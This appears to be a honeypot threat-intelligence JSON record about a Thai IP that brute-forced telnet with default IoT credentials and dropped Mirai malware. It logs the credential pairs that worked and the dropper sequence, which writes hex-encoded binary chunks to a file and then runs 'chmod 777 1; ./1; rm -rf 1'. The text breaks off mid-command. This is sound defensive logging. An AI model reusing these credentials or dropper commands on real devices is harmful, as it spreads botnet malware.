{"ip":"223.205.230.87","data_as_of":"2026-10-26T22:01:25+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"13 interactive session(s) ran commands after logging in","confidence":"high","network_type":"residential ISP","why":["13 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Sent 1,589,005 bytes, which is sustained payload delivery.","Held a session open for 82s, against a median of well under a second."],"engagement":{"level":"payload","label":"Sustained payload, held open","detail":"1,589,005 bytes sent, longest session 82s","bytes_sent":1589005,"session_seconds":82,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-26T01:00:20","events_24h":0,"events_7d":0,"interactive_sessions":29,"interactive_sessions_24h":13,"interactive_sessions_7d":29,"interactive_protocols":[{"protocol":"telnet","sessions":29}],"geo":{"country_code":"TH","country_name":"Thailand","region":"","city":"","lat":null,"lon":null,"asn":45758,"org":"Triple T Broadband Public Company Limited"},"source_domain":"mx-ll-223.205.230-87.dynamic.3bb.co.th","known_scanners":[],"scanner_tag":{"key":"peeringdb:as45758","label":"TripleT Broadband(AIS|3BB)","category":"isp","url":"https://www.peeringdb.com/asn/45758"},"cve_matches":[],"malware":[{"sha256":"a10712fc263510bc02cc4fefd96e0ad776aeb0e28e8f50fb0421d535321bbc1a","family":"mirai","vt_name":".x1792675185","malicious":31,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":23,"hits":3,"last_seen":"2026-10-24 15:37:51"}],"udp":null,"interaction":{"window_days":90,"sessions":29,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-26T01:00:20","verdicts":[{"verdict":"credential","sessions":15},{"verdict":"post-exploitation","sessions":13},{"verdict":"unknown","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":29}],"services":[{"protocol":"telnet","port":23,"sessions":29}],"logins":[{"username":"root","password":"root621","password_sent":true,"service":"telnet","outcome":"failure","tries":10,"last_seen":"2026-10-26T01:00:18"},{"username":"root","password":"5up","password_sent":true,"service":"telnet","outcome":"success","tries":10,"last_seen":"2026-10-26T01:00:18"},{"username":"root","password":"oelinux123","password_sent":true,"service":"telnet","outcome":"failure","tries":2,"last_seen":"2026-10-26T01:00:19"},{"username":"telecomadmin","password":"admintelecom","password_sent":true,"service":"telnet","outcome":"success","tries":2,"last_seen":"2026-10-26T01:00:19"},{"username":"root","password":"xmhdipc","password_sent":true,"service":"telnet","outcome":"failure","tries":2,"last_seen":"2026-10-26T01:00:19"},{"username":"root","password":"5up","password_sent":true,"service":"telnet","outcome":"failure","tries":1,"last_seen":"2026-10-24T15:52:59"},{"username":"root","password":"root621","password_sent":true,"service":"telnet","outcome":"success","tries":1,"last_seen":"2026-10-24T15:52:59"}],"commands":[{"ts":"2026-10-26T01:00:19","session_id":"88e7ea0f-ca32-45e9-bba2-f90cb807a2bd","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T01:00:19","session_id":"b9c990b5-4bab-47f6-b529-2f591943f0d6","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T00:57:52","session_id":"54e140df-7585-46ff-adee-f5f216e90060","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T00:57:52","session_id":"8ec95368-9d01-420d-b9b8-00a1617a9e62","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-26T00:54:43","session_id":"7f58e79d-d579-4c73-baef-d8b41776a5f1","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-25T14:49:43","session_id":"b57fdd80-6869-45f7-8448-188ff0e3c744","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-25T14:48:03","session_id":"1cb09a24-668a-4161-a4f5-66962c60e9cc","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-24T15:54:22","session_id":"05e43572-5d20-4f6a-a76a-bacab8931985","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-24T15:53:00","session_id":"08b20183-2fbd-43e1-8c77-f2e8d84bdae0","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-24T15:47:35","session_id":"3538cefb-5665-4789-bbef-b7504c3ab1ab","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"uname -m","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"chmod 777 1; ./1; rm -rf 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x61\\x6d\\x65\\x00\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x67\\x5f\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x00\\x63\\x68\\x65\\x63\\x6b\\x73\\x75\\x6d\\x5f\\x74\\x63\\x70\\x5f\\x75\\x64\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x74\\x65\\x6c\\x6c\\x64\\x69\\x72\\x00\\x5f\\x5f\\x70\\x72\\x6f\\x67\\x6e\\x61\\x6d\\x65\\x5f\\x66\\x75\\x6c\\x6c\\x00\\x73\\x74\\x72\\x70\\x62\\x72\\x6b\\x00\\x72\\x61\\x69\\x73\\x65\\x00\\x66\\x72\\x65\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x73\\x70\\x6e\\x00\\x73\\x69\\x67\\x70\\x72\\x6f\\x63\\x6d\\x61\\x73\\x6b\\x00\\x67\\x65\\x74\\x73\\x6f\\x63\\x6b\\x6e\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x5f\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x73\\x74\\x72\\x63\\x68\\x72\\x6e\\x75\\x6c\\x00\\x66\\x63\\x6e\\x74\\x6c\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x6c\\x72\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x69\\x64\\x69\\x76\\x6d\\x6f\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x61\\x74\\x6f\\x69\\x00\\x5f\\x5f\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x5f\\x66\\x72\\x61\\x6d\\x65\\x5f\\x69\\x6e\\x66\\x6f\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x73\\x6f\\x63\\x6b\\x6e\\x61\\x6d\\x65\\x00\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6f\\x6e\\x66\\x69\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x77\\x6d\\x65\\x6d\\x63\\x68\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x69\\x73\\x65\\x00\\x5f\\x5f\\x64\\x61\\x74\\x61\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x73\\x65\\x74\\x73\\x69\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x61\\x64\\x64\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6f\\x6e\\x66\\x69\\x67\\x5f\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x69\\x70\\x00\\x63\\x6c\\x6f\\x73\\x65\\x64\\x69\\x72\\x00\\x5f\\x4a\\x76\\x5f\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\\x00\\x5f\\x5f\\x47\\x49\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6e\\x61\\x6d\\x65\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x77\\x72\\x69\\x74\\x65\\x00\\x5f\\x5f\\x6d\\x61\\x6c\\x6c\\x6f\\x63\\x5f\\x63\\x6f\\x6e\\x73\\x6f\\x6c\\x69\\x64\\x61\\x74\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x74\\x6f\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x75\\x69\\x64\\x00\\x63\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x74\\x6f\\x6b\\x5f\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x73\\x65\\x6e\\x64\\x74\\x6f\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6f\\x6e\\x66\\x69\\x67\\x5f\\x72\\x65\\x61\\x64\\x00\\x73\\x74\\x72\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x69\\x6e\\x64\\x00\\x5f\\x65\\x78\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6c\\x73\\x65\\x65\\x6b\\x00\\x73\\x74\\x72\\x73\\x70\\x6e\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x72\\x65\\x63\\x76\\x00\\x5f\\x5f\\x67\\x65\\x74\\x64\\x65\\x6e\\x74\\x73\\x36\\x34\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x31\\x00\\x73\\x74\\x72\\x6c\\x65\\x6e\\x00\\x6c\\x73\\x65\\x65\\x6b\\x36\\x34\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x75\\x6e\\x77\\x69\\x6e\\x64\\x5f\\x63\\x70\\x70\\x5f\\x70\\x72\\x31\\x00\\x6f\\x70\\x65\\x6e\\x00\\x70\\x72\\x6f\\x67\\x72\\x61\\x6d\\x5f\\x69\\x6e\\x76\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x5f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x61\\x75\\x78\\x5f\\x69\\x6e\\x69\\x74\\x00\\x74\\x61\\x62\\x6c\\x65\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x74\\x69\\x6d\\x65\\x6f\\x66\\x64\\x61\\x79\\x00\\x61\\x74\\x6f\\x69\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x64\\x65\\x6c\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x00\\x66\\x67\\x65\\x74\\x73\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x75\\x64\\x70\\x5f\\x70\\x6c\\x61\\x69\\x6e\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x62\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x65\\x61\\x64\\x6c\\x69\\x6e\\x6b\\x00\\x5f\\x64\\x6c\\x5f\\x70\\x68\\x6e\\x75\\x6d\\x00\\x5f\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x73\\x74\\x64\\x6c\\x69\\x62\\x5f\\x73\\x74\\x72\\x74\\x6f\\x5f\\x6c\\x00\\x65\\x78\\x69\\x74\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x57\\x52\\x49\\x54\\x45\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x65\\x75\\x69\\x64\\x00\\x62\\x72\\x6b\\x00\\x77\\x69\\x6e\\x64\\x6f\\x77\\x5f\\x73\\x69\\x7a\\x65\\x73\\x00\\x5f\\x64\\x6c\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x66\\x73\\x74\\x61\\x74\\x00\\x5f\\x65\\x6e\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6c\\x69\\x73\\x74\\x65\\x6e\\x00\\x5f\\x73\\x69\\x67\\x69\\x6e\\x74\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x73\\x70\\x6e\\x00\\x66\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x69\\x6e\\x69\\x74\\x73\\x74\\x61\\x74\\x65\\x5f\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x39\\x00\\x5f\\x5f\\x63\\x75\\x72\\x62\\x72\\x6b\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x72\\x34\\x00\\x74\\x63\\x70\\x62\\x79\\x70\\x61\\x73\\x73\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x6e\\x6c\\x69\\x73\\x74\\x5f\\x61\\x64\\x64\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x73\\x79\\x6e\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x75\\x69\\x64\\x69\\x76\\x6d\\x6f\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x64\\x74\\x61\\x62\\x6c\\x65\\x73\\x69\\x7a\\x65\\x00\\x72\\x65\\x73\\x6f\\x6c\\x76\\x65\\x5f\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x00\\x5f\\x65\\x64\\x61\\x74\\x61\\x00\\x5f\\x5f\\x73\\x74\\x64\\x6f\\x75\\x74\\x00\\x75\\x64\\x70\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x66\\x66\\x6c\\x75\\x73\\x68\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x64\\x00\\x67\\x65\\x74\\x73\\x6f\\x63\\x6b\\x6f\\x70\\x74\\x00\\x66\\x66\\x6c\\x75\\x73\\x68\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x72\\x61\\x6e\\x64\\x5f\\x6e\\x65\\x78\\x74\\x5f\\x72\\x61\\x6e\\x67\\x65\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x77\\x63\\x6f\\x6d\\x6d\\x69\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x66\\x67\\x65\\x74\\x63\\x5f\\x75\\x6e\\x6c\\x6f\\x63\\x6b\\x65\\x64\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x75\\x6e\\x6c\\x69\\x6e\\x6b\\x00\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x61\\x5f\\x72\\x00\\x5f\\x5f\\x70\\x61\\x67\\x65\\x73\\x69\\x7a\\x65\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x6f\\x70\\x65\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x47\\x49\\x5f\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x36\\x34\\x00\\x6c\\x6f\\x63\\x6b\\x65\\x72\\x00\\x5f\\x5f\\x43\\x5f\\x63\\x74\\x79\\x70\\x65\\x5f\\x62\\x00\\x73\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x6e\\x64\\x74\\x6f\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x66\\x6f\\x72\\x6b\\x00\\x64\\x65\\x6c\\x65\\x74\\x65\\x5f\\x69\\x6e\\x69\\x74\\x00\\x5f\\x5f\\x61\\x74\\x65\\x78\\x69\\x74\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x66\\x63\\x6e\\x74\\x6c\\x5f\\x6e\\x6f\\x63\\x61\\x6e\\x63\\x65\\x6c\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x6c\\x73\\x65\\x65\\x6b\\x00\\x75\\x74\\x69\\x6c\\x5f\\x72\\x65\\x61\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x68\\x64\\x69\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x6d\\x61\\x70\\x00\\x66\\x67\\x65\\x74\\x63\\x00\\x5f\\x5f\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x5f\\x72\\x74\\x5f\\x73\\x61\\x5f\\x72\\x65\\x73\\x74\\x6f\\x72\\x65\\x72\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x73\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x65\\x6c\\x65\\x63\\x74\\x00\\x68\\x69\\x64\\x65\\x5f\\x70\\x69\\x64\\x00\\x73\\x74\\x72\\x63\\x73\\x70\\x6e\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x74\\x65\\x72\\x6d\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x69\\x67\\x6e\\x61\\x6c\\x00\\x73\\x74\\x64\\x65\\x72\\x72\\x00\\x75\\x6d\\x6f\\x75\\x6e\\x74\\x00\\x5f\\x5f\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x63\\x6d\\x70\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x72\\x63\\x68\\x72\\x00\\x5f\\x5f\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x5f\\x73\\x61\\x5f\\x72\\x65\\x73\\x74\\x6f\\x72\\x65\\x72\\x00\\x64\\x61\\x74\\x61\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x72\\x6f\\x74\\x5f\\x74\\x61\\x62\\x6c\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x79\\x73\\x63\\x6f\\x6e\\x66\\x00\\x69\\x63\\x6d\\x70\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x68\\x5f\\x65\\x72\\x72\\x6e\\x6f\\x5f\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x66\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x66\\x69\\x6e\\x69\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x63\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:13","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x72\\x6f\\x6d\\x00\\x74\\x69\\x6d\\x65\\x00\\x63\\x68\\x65\\x63\\x6b\\x73\\x75\\x6d\\x5f\\x67\\x65\\x6e\\x65\\x72\\x69\\x63\\x00\\x6f\\x70\\x65\\x6e\\x64\\x69\\x72\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x61\\x62\\x6f\\x72\\x74\\x00\\x5f\\x5f\\x65\\x6e\\x64\\x5f\\x5f\\x00\\x6b\\x65\\x79\\x5f\\x62\\x75\\x69\\x6c\\x64\\x00\\x5f\\x5f\\x64\\x69\\x76\\x73\\x69\\x33\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x5f\\x73\\x69\\x67\\x64\\x65\\x6c\\x73\\x65\\x74\\x00\\x6d\\x6f\\x75\\x6e\\x74\\x00\\x5f\\x5f\\x73\\x74\\x64\\x69\\x6f\\x5f\\x69\\x6e\\x69\\x74\\x5f\\x6d\\x75\\x74\\x65\\x78\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x5f\\x65\\x78\\x69\\x74\\x00\\x73\\x74\\x72\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x61\\x63\\x6b\\x5f\\x66\\x6c\\x6f\\x6f\\x64\\x00\\x5f\\x5f\\x61\\x65\\x61\\x62\\x69\\x5f\\x75\\x69\\x64\\x69\\x76\\x00\\x75\\x6e\\x68\\x69\\x64\\x65\\x5f\\x70\\x69\\x64\\x00\\x69\\x6e\\x69\\x74\\x73\\x74\\x61\\x74\\x65\\x00\\x66\\x63\\x6c\\x6f\\x73\\x65\\x00\\x5f\\x5f\\x73\\x79\\x73\\x63\\x61\\x6c\\x6c\\x5f\\x72\\x74\\x5f\\x73\\x69\\x67\\x61\\x63\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x5f\\x78\\x73\\x74\\x61\\x74\\x5f\\x63\\x6f\\x6e\\x76\\x00\\x69\\x6e\\x65\\x74\\x5f\\x6e\\x74\\x6f\\x61\\x00\\x67\\x65\\x74\\x70\\x70\\x69\\x64\\x00\\x74\\x63\\x67\\x65\\x74\\x61\\x74\\x74\\x72\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x72\\x65\\x63\\x76\\x66\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x79\\x00\\x66\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x5f\\x62\\x73\\x73\\x5f\\x73\\x74\\x61\\x72\\x74\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x6f\\x70\\x65\\x6e\\x00\\x5f\\x63\\x61\\x6c\\x6c\\x5f\\x76\\x69\\x61\\x5f\\x73\\x6c\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x74\\x72\\x63\\x68\\x72\\x6e\\x75\\x6c\\x00\\x6d\\x65\\x6d\\x73\\x65\\x74\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x73\\x6f\\x63\\x6b\\x65\\x74\\x00\\x6d\\x61\\x69\\x6e\\x00\\x75\\x74\\x69\\x6c\\x5f\\x6c\\x6f\\x63\\x61\\x6c\\x5f\\x61\\x64\\x64\\x72\\x00\\x5f\\x5f\\x64\\x69\\x76\\x30\\x00\\x73\\x72\\x61\\x6e\\x64\\x00\\x74\\x61\\x62\\x6c\\x65\\x5f\\x6c\\x6f\\x63\\x6b\\x5f\\x76\\x61\\x6c\\x00\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x5f\\x66\\x6f\\x72\\x6b\\x00\\x5f\\x5f\\x6c\\x69\\x62\\x63\\x5f\\x63\\x6c\\x6f\\x73\\x65\\x00\\x73\\x74\\x72\\x64\\x75\\x70\\x00\\x65\\x73\\x74\\x61\\x62\\x6c\\x69\\x73\\x68\\x5f\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x69\\x6f\\x6e\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x70\\x69\\x64\\x00\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x00\\x69\\x6e\\x64\\x65\\x78\\x00\\x5f\\x70\\x74\\x68\\x72\\x65\\x61\\x64\\x5f\\x63\\x6c\\x65\\x61\\x6e\\x75\\x70\\x5f\\x70\\x75\\x73\\x68\\x5f\\x64\\x65\\x66\\x65\\x72\\x00\\x5f\\x5f\\x73\\x69\\x67\\x69\\x73\\x6d\\x65\\x6d\\x62\\x65\\x72\\x00\\x67\\x65\\x74\\x74\\x69\\x6d\\x65\\x6f\\x66\\x64\\x61\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne \"\\x47\\x49\\x5f\\x6d\\x75\\x6e\\x6d\\x61\\x70\\x00\\x5f\\x5f\\x67\\x65\\x74\\x70\\x61\\x67\\x65\\x73\\x69\\x7a\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x72\\x61\\x6e\\x64\\x6f\\x6d\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x6d\\x72\\x65\\x6d\\x61\\x70\\x00\\x5f\\x5f\\x75\\x63\\x6c\\x69\\x62\\x63\\x5f\\x70\\x72\\x6f\\x67\\x6e\\x61\\x6d\\x65\\x00\\x5f\\x5f\\x47\\x49\\x5f\\x67\\x65\\x74\\x65\\x67\\x69\\x64\\x00\\x5f\\x5f\\x6d\\x61\\x6c\\x6c\\x6f\\x63\\x5f\\x6c\\x6f\\x63\\x6b\\x00\\x5f\\x5f\\x75\\x43\\x6c\\x69\\x62\\x63\\x5f\\x6d\\x61\\x69\\x6e\\x00\\x73\\x62\\x72\\x6b\\x00\\x5f\\x5f\\x72\\x74\\x6c\\x64\\x5f\\x66\\x69\\x6e\\x69\\x00\\x5f\\x5f\\x47\\x49\" >> 1","exit_code":0},{"ts":"2026-10-24T15:44:12","session_id":"e47b56d6-bff9-4f53-b479-f79de5a36695","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo -ne 